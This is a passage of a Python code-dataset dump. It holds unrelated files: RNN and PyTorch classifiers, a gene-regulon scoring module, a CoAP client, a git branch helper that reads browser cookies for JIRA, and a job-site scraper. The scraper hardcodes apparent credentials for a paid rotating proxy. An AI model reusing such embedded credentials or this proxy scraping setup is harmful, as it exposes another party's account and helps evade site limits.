read_data_chars():\r\n \r\n x_train, y_train, x_test, y_test = [], [], [], []\r\n\r\n with open('train_medium.csv', encoding='utf-8') as filex:\r\n reader = csv.reader(filex)\r\n for row in reader:\r\n x_train.append(row[1])\r\n y_train.append(int(row[0]))\r\n\r\n with open('test_medium.csv', encoding='utf-8') as filex:\r\n reader = csv.reader(filex)\r\n for row in reader:\r\n x_test.append(row[1])\r\n y_test.append(int(row[0]))\r\n \r\n x_train = pandas.Series(x_train)\r\n y_train = pandas.Series(y_train)\r\n x_test = pandas.Series(x_test)\r\n y_test = pandas.Series(y_test)\r\n \r\n \r\n char_processor = tf.contrib.learn.preprocessing.ByteProcessor(MAX_DOCUMENT_LENGTH)\r\n \r\n x_train = np.array(list(char_processor.fit_transform(x_train)))\r\n x_test = np.array(list(char_processor.transform(x_test)))\r\n y_train = y_train.values\r\n y_test = y_test.values\r\n \r\n return x_train, y_train, x_test, y_test\r\n\r\n\r\ndef read_data(case):\r\n x_train, y_train, x_test, y_test = [], [], [], []\r\n n_words = 0\r\n\r\n if(case == 'rnn-char'):\r\n x_train, y_train, x_test, y_test = read_data_chars()\r\n elif(case == 'rnn-word'):\r\n x_train, y_train, x_test, y_test, n_words = data_read_words()\r\n\r\n return x_train, y_train, x_test, y_test, n_words\r\n\r\ndef rnn_call(case, x, is_dropout, keep_prob, model):\r\n logits = None\r\n\r\n if(case == 'rnn-char'):\r\n logits = char_rnn_model(x, is_dropout, keep_prob, model)\r\n elif(case == 'rnn-word'):\r\n logits = word_rnn_model(x, is_dropout, keep_prob, model)\r\n \r\n return logits\r\n\r\ndef main():\r\n global n_words\r\n\r\n list_case = ['rnn-char','rnn-word']\r\n all_test_acc = []\r\n \r\n for c,k in enumerate(list_case):\r\n print(k)\r\n x_train, y_train, x_test, y_test, n_words = read_data(k)\r\n\r\n # Create the model\r\n x = tf.placeholder(tf.int64, [None, MAX_DOCUMENT_LENGTH])\r\n y_ = tf.placeholder(tf.int64)\r\n keep_prob = tf.placeholder(tf.float32)\r\n\r\n logits = rnn_call(k,x, is_dropout, keep_prob, model)\r\n\r\n entropy = tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits_v2(labels=tf.one_hot(y_, MAX_LABEL), logits=logits))\r\n train_op = tf.train.AdamOptimizer(lr).minimize(entropy)\r\n\r\n correct_prediction = tf.equal(tf.argmax(logits, 1), tf.argmax(tf.one_hot(y_, MAX_LABEL),1))\r\n correct_prediction = tf.cast(correct_prediction, tf.float32)\r\n accuracy = tf.reduce_mean(correct_prediction)\r\n\r\n N = len(x_train)\r\n idx = np.arange(N)\r\n\r\n sess = tf.Session()\r\n sess.run(tf.global_variables_initializer())\r\n\r\n test_acc = []\r\n\r\n \r\n for i in range(no_epochs):\r\n np.random.shuffle(idx)\r\n trainX, trainY = x_train[idx], y_train[idx]\r\n\r\n for start, end in zip(range(0, N, batch_size), range(batch_size, N, batch_size)):\r\n sess.run(train_op, {x: trainX[start:end], y_: trainY[start:end], keep_prob: 0.7})\r\n \r\n test_acc_ = sess.run(accuracy, {x: x_test, y_: y_test, keep_prob: 1.0})\r\n test_acc.append(test_acc_)\r\n \r\n print('iter: %d, testacc: %g'%(i, test_acc[i]))\r\n \r\n\r\n all_test_acc.append(test_acc)\r\n \r\n\r\n plt.figure(1)\r\n plt.plot(range(no_epochs), all_test_acc[0], label = 'rnn-char')\r\n plt.plot(range(no_epochs), all_test_acc[1], label = 'rnn-word')\r\n plt.legend(loc='lower right')\r\n plt.xlabel(str(no_epochs) + ' iterations')\r\n plt.ylabel('test accuracy')\r\n plt.title('test accuracy vs. epochs (LSTM)')\r\n\r\n \r\n plt.show()\r\n\r\nif __name__ == '__main__':\r\n main()\r\n","sub_path":"Assignment 2/partb_6_1_b.py","file_name":"partb_6_1_b.py","file_ext":"py","file_size_in_byte":7342,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"265172992","text":"import pandas as pd\nimport numpy as np\nimport scanpy as sc\nfrom anndata import AnnData\nimport pickle\nimport pkg_resources\n\n\ndef load_regulons(levels=['A', 'B', 'C', 'D', 'E'], organism='Human'):\n # Get package path\n if organism == \"Human\":\n path = pkg_resources.resource_filename(__name__, 'data/dorothea_hs.pkl')\n elif organism == \"Mouse\":\n path = pkg_resources.resource_filename(__name__, 'data/dorothea_mm.pkl')\n else:\n raise(\"Wrong organism name. Please specify 'Human' or 'Mouse'.\")\n \n # Open pickle object\n df = pickle.load(open(path, \"rb\" ))\n \n #Filter by levels of confidence\n df = df[df['confidence'].isin(levels)]\n \n # Transform to binary dataframe\n dorothea_df = df.pivot(index='target', columns='tf', values='mor')\n \n # Set nans to 0\n dorothea_df[np.isnan(dorothea_df)] = 0\n \n return dorothea_df\n\ndef extract(data, obsm_key='dorothea'):\n obsm = data.obsm\n obs = data.obs\n df = data.obsm['dorothea']\n var = pd.DataFrame(index=df.columns)\n tadata = AnnData(np.array(df), obs=obs, var=var, obsm=obsm)\n return tadata\n \n\ndef process_input(data, use_raw=False):\n if isinstance(data, AnnData):\n if not use_raw:\n genes = np.array(data.var.index)\n idx = np.argsort(genes)\n genes = genes[idx]\n samples = data.obs.index\n X = data.X[:,idx]\n else:\n genes = np.array(data.raw.var.index)\n idx = np.argsort(genes)\n genes = genes[idx]\n samples= data.raw.obs_names\n X = data.raw.X[:,idx]\n elif isinstance(data, pd.DataFrame):\n genes = np.array(df.columns)\n idx = np.argsort(genes)\n genes = genes[idx]\n samples = df.index\n X = np.array(df)[:,idx]\n else:\n raise ValueError('Input must be AnnData or pandas DataFrame.')\n return genes, samples, X\n\n\ndef run(data, regnet, center=True, scale=True, inplace=True, use_raw=False):\n # Get genes, samples/tfs and matrices from data and regnet\n x_genes, x_samples, X = process_input(data, use_raw=use_raw)\n\n assert len(x_genes) == len(set(x_genes)), 'Gene names are not unique'\n\n if X.shape[0] <= 1 and (center or scale):\n raise ValueError('If there is only one observation no centering nor scaling can be performed.')\n\n # Sort targets (rows) alphabetically\n regnet = regnet.sort_index()\n r_targets, r_tfs = regnet.index, regnet.columns\n\n assert len(r_targets) == len(set(r_targets)), 'regnet target names are not unique'\n assert len(r_tfs) == len(set(r_tfs)), 'regnet tf names are not unique'\n\n # Subset by common genes\n common_genes = np.sort(list(set(r_targets) & set(x_genes)))\n\n target_fraction = len(common_genes) / len(r_targets)\n assert target_fraction > .05, f'Too few ({len(common_genes)}) target genes found. Make sure you are using the correct organism.'\n\n print(f'{len(common_genes)} targets found')\n\n idx_x = np.searchsorted(x_genes, common_genes)\n X = X[:,idx_x]\n R = regnet.loc[common_genes].values\n\n if center:\n X = X - np.mean(X, axis=0)\n\n # Run matrix mult\n result = np.asarray(X.dot(R))\n\n if scale:\n std = np.std(result, ddof=1, axis=0)\n std[std == 0] = 1\n result = (result - np.mean(result, axis=0)) / std\n\n # Remove nans\n result[np.isnan(result)] = 0\n\n # Store in df\n result = pd.DataFrame(result, columns=r_tfs, index=x_samples)\n\n if isinstance(data, AnnData) and inplace:\n # Update AnnData object\n data.obsm['dorothea'] = result\n else:\n # Return dataframe object\n data = result\n\n return data if not inplace else None\n","sub_path":"dorothea/dorothea.py","file_name":"dorothea.py","file_ext":"py","file_size_in_byte":3694,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"236284387","text":"from audiobook import Audiobook\nfrom book import Book\nfrom bookmark_reader import BookmarkReader\nfrom downloader import Downloader\nfrom page import Page\n\n\ndef is_audiobook(page):\n found = page.find('Audio ')\n return found > 0\n\n\ndef get_book(first_page):\n if is_audiobook(first_page):\n book = Audiobook(first_page)\n else:\n book = Book(first_page)\n return book\n\n\nclass Reader(object):\n def __init__(self, bookmark):\n self.book_name = bookmark.name\n self.book_address = bookmark.address\n self.book = None\n\n def read(self):\n with Downloader() as downloader:\n first_page = Page(downloader.get(self.book_address))\n self.book = get_book(first_page)\n self.book.read(downloader)\n\n def save(self, path):\n self.book.save(path)\n\n\nif __name__ == \"__main__\":\n for bookmark in BookmarkReader().bookmarks:\n reader = Reader(bookmark)\n reader.read()\n reader.save('downloads')\n","sub_path":"reader.py","file_name":"reader.py","file_ext":"py","file_size_in_byte":988,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"545810440","text":"import random\nimport math\n\nfrom code.algorithms.hillclimber import hillclimber\n\n\nclass simulated_annealing(hillclimber):\n \"\"\"\n The SimulatedAnnealing class that randomly reattaches a group of houses' cables. \n Improvements or equivalent solutions are kept for the next iteration.\n Worse solutions are sometimes kept, depending on the temperature.\n \"\"\"\n def __init__(self, grid, temperature=1):\n # Use the init of the Hillclimber class\n super().__init__(grid)\n\n # Starting temperature and current temperature\n self.T0 = temperature\n self.T = temperature\n\n def update_temperature(self):\n \"\"\"\n This function implements a *exponential* cooling scheme.\n Alpha can be any value below 1 but above 0.\n Temperature will become zero after all iterations passed to the run()\n method have passed.\n \"\"\"\n alpha = 0.99\n self.T = self.T * alpha\n\n def check_solution(self, new_grid):\n \"\"\"\n Checks and accepts better solutions than the current solution.\n Also sometimes accepts solutions that are worse, depending on the current\n temperature.\n \"\"\"\n new_cost = self.calculate_cost(new_grid)\n old_cost = self.calculate_cost(self.grid)\n\n # Calculate the probability of accepting this new grid\n delta = new_cost - old_cost\n probability = math.exp(-delta / self.T)\n\n # Pull a random number between 0 and 1 and see if we accept the graph!\n if random.random() < probability:\n self.no_improvement = 0\n self.grid = new_grid\n self.cost = new_cost\n print(f\"Accepted a different solution: {self.cost}!\")\n else:\n self.no_improvement += 1\n\n # Update the temperature\n self.update_temperature()\n","sub_path":"code/algorithms/sim_anneal.py","file_name":"sim_anneal.py","file_ext":"py","file_size_in_byte":1836,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"311833361","text":"from .common import menu, addparents, AllBranches\nfrom lagoon import git\nimport sys, subprocess, os, tempfile, re\n\nwordpattern = re.compile(r'[^\\s/]+')\n\ndef main_mkbranch():\n 'Create a branch for the given ticket(s) named according to git policy.'\n tickets = sys.argv[1:]\n with tempfile.NamedTemporaryFile() as cookiesfile:\n subprocess.run([os.path.join(os.path.dirname(__file__), 'extract_cookies.sh')], stdout = cookiesfile, check = True)\n wget = subprocess.Popen(['wget', '-O', '-', \"%s/browse/%s\" % (os.environ['JIRA_URL'], tickets[0]), '--load-cookies', cookiesfile.name], stdout = subprocess.PIPE)\n words = [w.lower() for w in wordpattern.findall(subprocess.run([os.path.join(os.environ['GOPATH'], 'bin', 'pup'), 'h1 text{}'], stdin = wget.stdout, stdout = subprocess.PIPE).stdout.decode())]\n wget.wait()\n prefix = ''.join(\"%s_\" % t.translate({ord('-'): None}).lower() for t in tickets)\n options = [prefix + '_'.join(words[:i + 1]) for i in range(len(words))]\n _, name = menu([[o, ''] for o in options], 'Branch name')\n _, base = menu([[n, ''] for n in AllBranches().names], 'From')\n git.checkout._b.print(name, base)\n addparents(name, base)\n","sub_path":"dev_bin/mkbranch.py","file_name":"mkbranch.py","file_ext":"py","file_size_in_byte":1203,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"447019150","text":"\"\"\" \n@Author: huuuuusy\n@GitHub: https://github.com/huuuuusy\n系统： Ubuntu 18.04\nIDE: VS Code\n工具： python3\n\"\"\"\n\n\"\"\"\n实验9-1:文件读取\n\"\"\"\n#!/usr/bin/env python3\nname = input(\"Enter the file name: \")\nfobj = open(name)\nprint(fobj.read())\nfobj.close()","sub_path":"Language/Python3/SYL-Python3/exp9-文件处理/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":261,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"288312180","text":"from schnorr_dss import *\n\n\ndef main() -> None:\n m = b'hello, world'\n sk, pk = gen_key()\n print(sk, pk)\n\n sig = sign(m, sk)\n print(sig)\n\n m1 = b'hello, world1'\n print(verify(m, pk, sig))\n print(verify(m1, pk, sig))\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"schnorr_dss_test.py","file_name":"schnorr_dss_test.py","file_ext":"py","file_size_in_byte":279,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"353338530","text":"import scrapy\nfrom scrapy.selector import Selector\nimport requests\nimport time\nimport requests\nfrom kanzhun_search.items import KanzhunSearchItem\n\nheaders = {\"User-Agent\": \"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; AcooBrowser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\"}\n\nproxyHost = \"proxy.abuyun.com\"\nproxyPort = \"9020\"\n\nproxyUser = \"H020G39R1142524D\"\nproxyPass = \"E440F4C798A80714\"\n\nproxyMeta = \"http://%(user)s:%(pass)s@%(host)s:%(port)s\" % {\n \"host\": proxyHost,\n \"port\": proxyPort,\n \"user\": proxyUser,\n \"pass\": proxyPass,\n}\n\nproxies = {\n \"http\": proxyMeta,\n \"https\": proxyMeta,\n}\n\ndef clean(x):\n x = str(x)\n x = x.replace('\\\\r', '').replace('\\\\t', '').replace('\\\\n', '').replace('\"', '').replace(\" \", \"\").replace(\"|\",\"\").replace('[','').replace(']','').replace(\"'\",'').replace(',','').replace('\\n','').replace('\\t','').replace('\\r','')\n return x\n\nclass KanzhunSearchSpider(scrapy.Spider):\n name = 'kanzhun_search'\n allowed_domain = 'http://www.kanzhun.com'\n page = 1\n\n def start_requests(self):\n\n for type in [116,119,5,4,65,64,62,54,53,57,56,60,55]:\n\n url = 'http://www.kanzhun.com/jobli_' +str(type) +'-t_0-e_0-d_0-s_0-j_0-k_0/p1/?q=%s&ka=paging1'\n yield scrapy.Request(url % self.searchword, callback= self.parse_page)\n\n def parse_page(self,response):\n\n sel = Selector(response)\n titles = sel.xpath('//div[@class=\"sparrow\"]/dl/dd')\n\n for title in titles:\n\n item = KanzhunSearchItem()\n item['positionName'] = clean(title.xpath('h3/a//text()').extract())\n item['salary'] = clean(title.xpath('p[@class=\"request grey_99\"]/b[@class=\"salary\"]/text()').extract())\n item['description'] = clean(title.xpath('p[@class=\"company_advantage\"]/text()').extract())\n item['job_loc'] = clean(title.xpath('p[@class=\"request grey_99\"]/span[@class=\"city\"]/text()').extract())\n # print(title.xpath('p[@class=\"request grey_99\"]/text()').extract())\n item['job_suffer'] = clean(title.xpath('p[@class=\"request grey_99\"]/text()').extract()[2])\n item['job_edu'] = clean(title.xpath('p[@class=\"request grey_99\"]/text()').extract()[3])\n item['job_type'] = clean(title.xpath('p[@class=\"request grey_99\"]/text()').extract()[4])\n item['job_time'] = clean(title.xpath('p[@class=\"request grey_99\"]/text()').extract()[5])\n\n\n\n item['companyFullName'] = clean(title.xpath('p[@class=\"jieshao\"]/a/text()').extract())\n\n if title.xpath('p[@class=\"jieshao\"]/a/@href').extract():\n\n co_url = 'http://www.kanzhun.com' + title.xpath('p[@class=\"jieshao\"]/a/@href').extract()[0]\n co_page = requests.get(co_url, headers = headers, proxies=proxies)\n # co_page = requests.get(co_url, headers = headers)\n co_sel = Selector(co_page)\n\n try:\n # print(co_sel.xpath('//div[@class=\"bw_explain\"]/text()'))\n item['industryField'] = clean(co_sel.xpath('//div[@class=\"bw_explain\"]/span[1]/text()').extract())\n item['co_loc'] = clean(co_sel.xpath('//div[@class=\"bw_explain\"]/span[2]/text()').extract())\n item['companySize'] = clean(co_sel.xpath('//div[@class=\"bw_explain\"]/span[last()]/text()').extract())\n item['co_des'] = clean(co_sel.xpath('//div[@class=\"bw_brief\"]/text()').extract())\n\n except:\n print('shit company')\n\n yield item\n\n next_page = sel.xpath('//a[@class=\"p_next\"]/@href')\n\n if next_page:\n\n next_page = 'http://www.kanzhun.com' +next_page.extract()[0]\n self.page += 1\n print('go {} page'.format(self.page))\n yield scrapy.Request(next_page, callback= self.parse_page)\n\n else:\n print('No next pages, nigga!!\\n')\n\n","sub_path":"theproduct/qinzhihao/search/spider_kanzhun_search/kanzhun_search/spiders/kanzhun_search.py","file_name":"kanzhun_search.py","file_ext":"py","file_size_in_byte":3902,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"53698595","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Aug 18 00:46:41 2021\n\n@author: MaxiT\n\"\"\"\nimport numpy as np\nfrom sklearn import model_selection\nfrom sklearn.metrics import roc_auc_score\nfrom sklearn.metrics import auc\nfrom sklearn.metrics import roc_curve\nimport torch\nfrom torch.utils.data import Dataset\nfrom torch.utils.data import DataLoader\nimport matplotlib.pyplot as plt\nfrom sklearn.metrics import accuracy_score\nfrom sklearn.metrics import recall_score\nfrom sklearn.metrics import precision_score\nfrom sklearn.metrics import f1_score\nfrom sklearn.metrics import confusion_matrix\n\n\ndef plot_confusion_matrix(cm,\n target_names,\n title='Confusion matrix',\n cmap=None,\n normalize=True):\n \"\"\"\n given a sklearn confusion matrix (cm), make a nice plot\n\n Arguments\n ---------\n cm: confusion matrix from sklearn.metrics.confusion_matrix\n\n target_names: given classification classes such as [0, 1, 2]\n the class names, for example: ['high', 'medium', 'low']\n\n title: the text to display at the top of the matrix\n\n cmap: the gradient of the values displayed from matplotlib.pyplot.cm\n see http://matplotlib.org/examples/color/colormaps_reference.html\n plt.get_cmap('jet') or plt.cm.Blues\n\n normalize: If False, plot the raw numbers\n If True, plot the proportions\n\n Usage\n -----\n plot_confusion_matrix(cm = cm, # confusion matrix created by\n # sklearn.metrics.confusion_matrix\n normalize = True, # show proportions\n target_names = y_labels_vals, # list of names of the classes\n title = best_estimator_name) # title of graph\n\n Citiation\n ---------\n http://scikit-learn.org/stable/auto_examples/model_selection/plot_confusion_matrix.html\n\n \"\"\"\n import matplotlib.pyplot as plt\n import numpy as np\n import itertools\n\n accuracy = np.trace(cm) / float(np.sum(cm))\n misclass = 1 - accuracy\n\n if cmap is None:\n cmap = plt.get_cmap('Blues')\n\n plt.figure()\n plt.grid(False)\n plt.imshow(cm, interpolation='nearest', cmap=cmap)\n plt.title(title)\n plt.colorbar()\n\n if target_names is not None:\n tick_marks = np.arange(len(target_names))\n plt.xticks(tick_marks, target_names, rotation=45)\n plt.yticks(tick_marks, target_names)\n\n if normalize:\n cm = cm.astype('float') / cm.sum(axis=1)[:, np.newaxis]\n\n\n thresh = cm.max() / 1.5 if normalize else cm.max() / 2\n for i, j in itertools.product(range(cm.shape[0]), range(cm.shape[1])):\n if normalize:\n plt.text(j, i, \"{:0.4f}\".format(cm[i, j]),\n horizontalalignment=\"center\",\n color=\"white\" if cm[i, j] > thresh else \"black\")\n else:\n plt.text(j, i, \"{:,}\".format(cm[i, j]),\n horizontalalignment=\"center\",\n color=\"white\" if cm[i, j] > thresh else \"black\")\n\n\n plt.tight_layout()\n plt.ylabel('True label')\n plt.xlabel('Predicted label\\naccuracy={:0.4f}; misclass={:0.4f}'.format(accuracy, misclass))\n plt.show()\n \n\n\nclass CustomDataset(Dataset):\n def __init__(self, X, Y):\n self.X=X\n self.Y=Y\n \n def __len__(self):\n return self.X.shape[0]\n \n def __getitem__(self, idx):\n return self.X[idx,:], self.Y[idx]\n \n\nclass TestCustomDataset(Dataset):\n def __init__(self, X):\n self.X=X\n \n def __len__(self):\n return self.X.shape[0]\n \n def __getitem__(self, idx):\n return self.X[idx,:]\n\n\nclass NNetLayers(torch.nn.Module):\n def __init__(self):\n super().__init__()\n self.linear_1 = torch.nn.Linear(in_features=2, out_features=10, bias = True)\n self.activation_1 = torch.nn.ReLU()\n self.dropout_1= torch.nn.Dropout(p=0.05)\n self.linear_2 = torch.nn.Linear(in_features=10, out_features=20, bias = True)\n self.activation_2 = torch.nn.ReLU()\n self.dropout_2= torch.nn.Dropout(p=0.05)\n self.linear_3 = torch.nn.Linear(in_features=20, out_features=1, bias = True)\n self.activation_3 = torch.nn.Sigmoid()\n\n def forward(self, x):\n # X es el batch que va a entrar\n z1 = self.linear_1(x)\n a1 = self.activation_1(z1)\n d1 = self.dropout_1(a1)\n z2 = self.linear_2(d1)\n a2 = self.activation_2(z2)\n d2 = self.dropout_2(a2)\n z3 = self.linear_3(d2)\n y = self.activation_3(z3)\n return y\n \n \nclass NnetBinaryClass():\n \n def __init__(self):\n self.nnet = NNetLayers()\n self.device = torch.device(\"cuda:0\" if torch.cuda.is_available() else \"cpu\")\n pass\n \n \n def fit(self,x_train, y_train, x_valid=None, y_valid=None, \\\n batch_size = 32, lr=0.001, epochs=50, verbose=True):\n \n training_set = CustomDataset(x_train, y_train)\n training_dataloader = DataLoader(training_set,batch_size=batch_size, \\\n shuffle=True)\n \n if (x_valid is not None) & (y_valid is not None):\n valid_set = CustomDataset(x_valid, y_valid) \n valid_dataloader = DataLoader(valid_set,batch_size=len(valid_set), \\\n shuffle= True)\n \n # Optimizer\n criterion = torch.nn.BCELoss(reduction='sum')\n optimizer = torch.optim.Adam(self.nnet.parameters(),\\\n lr=0.001)\n \n # Training\n self.nnet.to(self.device)\n \n history_loss=[]\n history_train_auc=[]\n history_valid_auc=[]\n \n for epoch in range(epochs):\n running_loss = 0\n nnet_train_scores = []\n train_truth = []\n self.nnet.train()\n for i, data in enumerate(training_dataloader):\n # data es una tupla batch (data, label)\n x, y = data #todavia esta en numpy\n x = x.to(self.device).float() #convierte a tensores y pasa a GPU si esta disponible\n y = y.to(self.device).float() #convierte a tensores y pasa a GPU si esta disponible\n \n # set gradient to zero\n optimizer.zero_grad()\n \n # forward\n y_hat = self.nnet(x)\n \n # loss\n loss = criterion(y_hat[:,0], y)\n \n # backward\n loss.backward()\n \n # update of parameters\n optimizer.step()\n \n # compute loss and statistics\n running_loss += loss.item()\n \n train_truth += list(y.detach().numpy()) \n nnet_train_scores += list(y_hat[:,0].detach().numpy())\n \n history_loss.append(running_loss/x_train.shape[0])\n \n train_auc = roc_auc_score(train_truth, nnet_train_scores)\n history_train_auc.append(train_auc)\n \n \n if (verbose) & ((epoch) % (epochs/10)==0):\n self.nnet.eval()\n with torch.no_grad():\n \n if (x_valid is not None) & (y_valid is not None):\n \n nnet_valid_scores = []\n valid_truth = []\n \n for i, data in enumerate(valid_dataloader):\n # batch\n x, y = data\n x = x.to(self.device).float()\n y = y.to(self.device).float()\n \n # forward \n y_hat = self.nnet(x)\n \n # accumulate data\n valid_truth += list(y.detach().numpy()) \n nnet_valid_scores += list(y_hat[:,0].detach().numpy())\n \n valid_auc = roc_auc_score(valid_truth, nnet_valid_scores)\n history_valid_auc.append(valid_auc)\n \n print(f\"Epoch = {epoch} | \" + \\\n f\"loss = {running_loss / x_train.shape[0]} | \" + \\\n f\"train auc: {train_auc}\" + \\\n f\"valid auc: {valid_auc}\")\n else:\n print(f\"Epoch = {epoch} | \" + \\\n f\"loss = {running_loss / x_train.shape[0]} | \" +\\\n f\"train auc: {train_auc}\")\n \n return history_loss,history_train_auc, history_valid_auc\n \n def predict(self,x):\n self.nnet.eval()\n with torch.no_grad():\n test_set = TestCustomDataset(x)\n test_dataloader = DataLoader(test_set,batch_size=len(test_set), \\\n shuffle= False)\n \n for i, data in enumerate(test_dataloader):\n x = data \n x = x.to(self.device).float() \n y_hat = self.nnet(x)\n y_hat = y_hat[:,0].detach().numpy()\n y_hat = y_hat >= 0.5\n\n return y_hat\n \n def predict_proba(self,x):\n self.nnet.eval()\n with torch.no_grad():\n test_set = TestCustomDataset(x)\n test_dataloader = DataLoader(test_set,batch_size=len(test_set), \\\n shuffle= False)\n \n for i, data in enumerate(test_dataloader):\n x = data \n x = x.to(self.device).float() \n y_hat = self.nnet(x)\n y_hat = y_hat[:,0].detach().numpy()\n\n return y_hat\n \n\n\ndef test_NnetBinaryClass(): \n \n X1 = np.random.uniform(0,8,10000)\n U = np.random.uniform(0,1,10000)\n N1 = np.random.normal(3,0.1,10000)\n N2 = np.random.normal(-1,0.1,10000)\n X2 = (X1-4)**2\n X2[U>=0.5] = X2[U>=0.5] + N1[U >= 0.5]\n X2[U < 0.5] = X2[U < 0.5] + N2[U < 0.5]\n Y = np.zeros(10000)\n mask = X2 >= (X1-4)**2\n Y[mask] = 1\n Y[~mask] = 0\n \n fig, ax = plt.subplots(1,1)\n ax.scatter(X1[Y==0],X2[Y==0], color='blue')\n ax.scatter(X1[Y==1],X2[Y==1], color='red')\n plt.show\n \n X1=X1[:,np.newaxis]\n X2=X2[:,np.newaxis]\n x=np.append(X1, X2, axis = 1)\n \n x_train, x_test, Y_train, Y_test = \\\n model_selection.train_test_split( x, Y, test_size=0.2, random_state=5)\n \n x_train, x_valid, Y_train, Y_valid= \\\n model_selection.train_test_split( x_train, Y_train, \\\n test_size=0.2, random_state=5)\n \n model = NnetBinaryClass()\n \n model.fit(x_train,Y_train,x_valid,Y_valid)\n \n y_test_hat = model.predict(x_test)\n \n plt.figure()\n plt.scatter(x_test[y_test_hat==0,0],x_test[y_test_hat==0,1],color='blue')\n plt.scatter(x_test[y_test_hat==1,0],x_test[y_test_hat==1,1],color='red')\n plt.title('Dataset Test')\n plt.xlabel('x1')\n plt.ylabel('x2')\n plt.show()\n \n test_accuracy = accuracy_score(Y_test,y_test_hat)\n test_recall = recall_score(Y_test,y_test_hat)\n test_precision = precision_score(Y_test, y_test_hat)\n test_f1 = f1_score(Y_test,y_test_hat)\n print(f\"Accuracy: {test_accuracy}\")\n print(f\"Recall: {test_recall}\")\n print(f\"Precision: {test_precision}\")\n print(f\"F1-Score: {test_f1}\")\n \n conf_matrix = confusion_matrix(Y_test, y_test_hat)\n plot_confusion_matrix(conf_matrix,target_names = np.unique(Y_test), \\\n title = \"Confusion Matrix\")\n# Run test\ntest_NnetBinaryClass() ","sub_path":"Examen/Scripts/NNet_binary_clasification.py","file_name":"NNet_binary_clasification.py","file_ext":"py","file_size_in_byte":11951,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"493553995","text":"from coapthon.client.helperclient import HelperClient\r\nfrom coapthon import defines\r\nfrom coapthon.messages.request import Request\r\n\r\n\r\nhost = \"127.0.0.1\"\r\nport = 5683\r\npath =\"basic\"\r\npayload = 'text/plain'\r\n\r\nclient = HelperClient(server=(host, port))\r\nresponse = client.get(path)\r\nprint(response.pretty_print())\r\n\r\n# Create a registration resource\r\nct = {'content_type': defines.Content_types[\"application/link-format\"]}\r\npayload = 'Random text1234'\r\nresponse = client.post(path, payload, None, None, **ct)\r\nlocation_path = response.location_path\r\nprint(response.pretty_print())\r\n \r\nclient.stop()\r\n","sub_path":"pmsclient.py","file_name":"pmsclient.py","file_ext":"py","file_size_in_byte":600,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"192290060","text":"import json\n\nimport pytest\n\nfrom app import create_app\n\n\n@pytest.fixture()\ndef testing_client():\n app = create_app(config='test')\n\n test_client = app.test_client()\n\n ctx = app.app_context()\n ctx.push()\n\n yield test_client\n\n ctx.pop()\n\n\ndef _load_data(filepath):\n with open(filepath) as f:\n data = json.load(f)\n return data\n\n\ndef test_level1(testing_client):\n data = _load_data('./level1/data.json')\n\n response = testing_client.post('/checkout', json=data)\n assert response.status_code == 200\n\n output = _load_data('./level1/output.json')\n assert output == response.get_json()\n\n\ndef test_level2(testing_client):\n data = _load_data('./level2/data.json')\n\n response = testing_client.post('/checkout', json=data)\n assert response.status_code == 200\n\n output = _load_data('./level2/output.json')\n assert output == response.get_json()\n\n\ndef test_level3(testing_client):\n data = _load_data('./level3/data.json')\n\n response = testing_client.post('/checkout', json=data)\n assert response.status_code == 200\n\n output = _load_data('./level3/output.json')\n assert output == response.get_json()\n","sub_path":"backend/test_app.py","file_name":"test_app.py","file_ext":"py","file_size_in_byte":1158,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"25158026","text":"\"\"\"\n第四代：仅对未来进行预测，使用未来数据，不使用预测数据,对一些异常点单独测试，模块化，SVM预测模型\n\"\"\"\nimport pymysql\nimport numpy as np\nimport datetime\nimport math\nfrom sklearn import svm\nimport warnings\n\nname = \"SVM回归分析\"\nThreshold = 45 # 49\n#sigma = math.sqrt(0.5) # 0.5\n#mu = 0.94 # 0.94\n#SIM_range = 1 # 1\n#sigmaList = [math.sqrt(0.5),math.sqrt(1)]\n#muList = [0.7,0.8,0.9,0.94]\nSIM_range = 1\n#sigmaList = [math.sqrt(0.25),math.sqrt(0.5),math.sqrt(0.75),math.sqrt(1),math.sqrt(1.25),math.sqrt(1.5),math.sqrt(1.75),math.sqrt(2)]\nsigmaList = [math.sqrt(0.25),math.sqrt(0.5),math.sqrt(0.75),math.sqrt(1)]\n#sigmaList = [math.sqrt(0.5),math.sqrt(1)]\n#muList = [0.1,0.125,0.15,0.175,0.2,0.225,0.25,0.275,0.3,0.325,0.35,0.375,0.4,0.425,0.45,0.475,0.5,0.525,0.55,0.575,0.6,0.625,0.65,0.675,0.7,0.725,0.75,0.775,0.8,0.825,0.85,0.875,0.9,0.925,0.94,0.95,0.975,0.98,0.985,0.99]\n#muList = [0.7,0.71,0.72,0.73,0.74,0.75,0.76,0.77,0.78,0.79,0.8,0.81,0.82,0.83,0.84,0.85,0.86,0.87,0.88,0.89,0.9,0.91,0.92,0.93,0.94,0.95,0.96,0.97,0.98,0.99]\n#muList = [0.7,0.725,0.75,0.775,0.8,0.825,0.85,0.875,0.9,0.91,0.925,0.94,0.95,0.96,0.975,0.98,0.99]\n#muList = [0.7,0.75,0.8,0.85,0.9,0.91,0.925,0.94,0.95,0.96,0.975,0.98,0.99]\nmuList = [0.9,0.91,0.925,0.94,0.95,0.96,0.975,0.98,0.99]\nMaxValue = 10000\n\nclass PredictList:\n def 